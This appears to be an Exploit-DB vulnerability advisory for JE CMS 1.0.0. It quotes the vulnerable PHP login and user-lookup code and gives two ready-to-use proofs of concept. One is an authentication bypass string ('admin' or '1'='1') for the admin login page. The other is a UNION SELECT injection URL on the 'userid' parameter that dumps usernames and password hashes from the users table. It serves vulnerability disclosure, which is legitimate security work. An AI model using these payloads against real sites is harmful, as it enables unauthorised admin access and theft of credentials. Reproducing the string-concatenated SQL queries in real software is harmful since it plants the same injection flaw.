JE CMS 1.0.0 - Authentication Bypass

'''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub-28-je-cms-1-0-0-bypass-authentication-by-sql-injection-vulnerability/
'''


Title  : JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
Affected Version : JE CMS <= 1.0.0
Vendor  Site   : joenasejes.cz.cc
Discovery : abysssec.com


Vulnerabilites :

1. Bypass Authentication by SQL Injection Vulnerability

in administrator\login.php page, lines 16-20:
if (isset($_REQUEST['username'])) {
	$username = $_REQUEST['username'];
	$password = $_REQUEST['password'];
	$result = $core->userLogin();


userLogin() function is in administrator\library\functions.php. in lines 129-139:
		if ($userName == '' || $password == '') {
			$errorMessage = JE_MISMATCH_USERNAME_PASSWORD;
		}  else {
			// check the database and see if the username and password combo do match
			$sql = "SELECT userid
					FROM users
					WHERE username = '".$userName."' 		// vulnerability is here
					AND password = '".$this->getHash($password)."'	// vulnerability is here
					AND usertype = 1
					AND block = 0";
			$result = $this->JEQuery($sql);

POC:

in administrator/login.php:

username: admin' or '1'='1
password: admin' or '1'='1

2. SQL injection in administrator\index.php on "userid" parameter:

in administrator\index.php file line 12:
$userid			= 	$_REQUEST['userid'];
lines 52-53:
	case 'edituser' :
		$user = $core->getUser($userid);

getUser function is in administrator\library\functions.php file. lines 578-583:

	function getUser($id){

		$sql = "SELECT *
				FROM users
				WHERE userid = ".$id;	// vulnerability is here
		$result = $this->JEQuery($sql);

POC:

http://site/joenas-ejes/administrator/index.php?jepage=edituser&userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--